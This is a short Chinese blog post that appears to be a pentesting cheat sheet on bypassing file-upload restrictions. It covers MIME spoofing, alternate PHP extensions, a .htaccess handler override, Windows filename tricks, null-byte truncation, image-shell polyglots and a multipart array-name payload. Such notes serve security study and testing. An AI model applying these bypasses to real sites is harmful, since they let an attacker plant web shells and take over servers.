上传漏洞的各种骚操作

首先来个流程图:

一、前端JS校验


方法:本地搭建html、burp抓包改文件名

二、校验MIME


方法:修改Content-Type的值为image/jpeg

三、禁止上传asp/php/jsp/aspx等后缀


方法:试试php3/php4/phtml/jspx/jspf/asa/cer等能存在的解析后缀
ps:httpd.conf错误配置导致其他类型后置可以解析

四、过滤了大量的后缀,且上传文件不改变名称(Apache)


方法:上传.htaccess文件,再上传xxx.hhh即可达到解析php
内容:

<FilesMatch "hhh">
SetHandler application/x-httpd-php
</FilesMatch>

五、过滤了大量的后缀,且修改了上传的名称


方法:
  重复写后缀,即.pphphp

当处于win系统时:
  后缀空格绕过,即.php
  大小写绕过,即.Php
  点绕过,即.php.
  特殊字符绕过,即.php::$DATA
  当审计之后,发现文件名被拼接到路径后面时,双点绕过,即.php. .

六、上传文件的路径可控,过滤了大量后缀


方法:在文件路径后添加00截断,即/upload/1.php%00。若是post方式,则进入burp的hex模式修改为00即可

七、上传图片木马


方法:执行名称copy xx.jpg/b + xx.php/a new.jpg,此时new.jpg则为图片马,配合一句话木马+本地文件包含漏洞食用。

八、上传文件名可控时,过滤了大量后缀


方法:
  win系统直接.php.
  若发现explode()reset()函数,则burp中将文件名分组:

-----------------------------2995203582406826926656191698
Content-Disposition: form-data; name="save_name[1]"
        
php
-----------------------------2995203582406826926656191698
Content-Disposition: form-data; name="save_name[3]"

jpg
-----------------------------2995203582406826926656191698

最后来个思维导图:

posted @ 2020-10-01 22:20  bluedye  阅读(361)  评论(0编辑  收藏  举报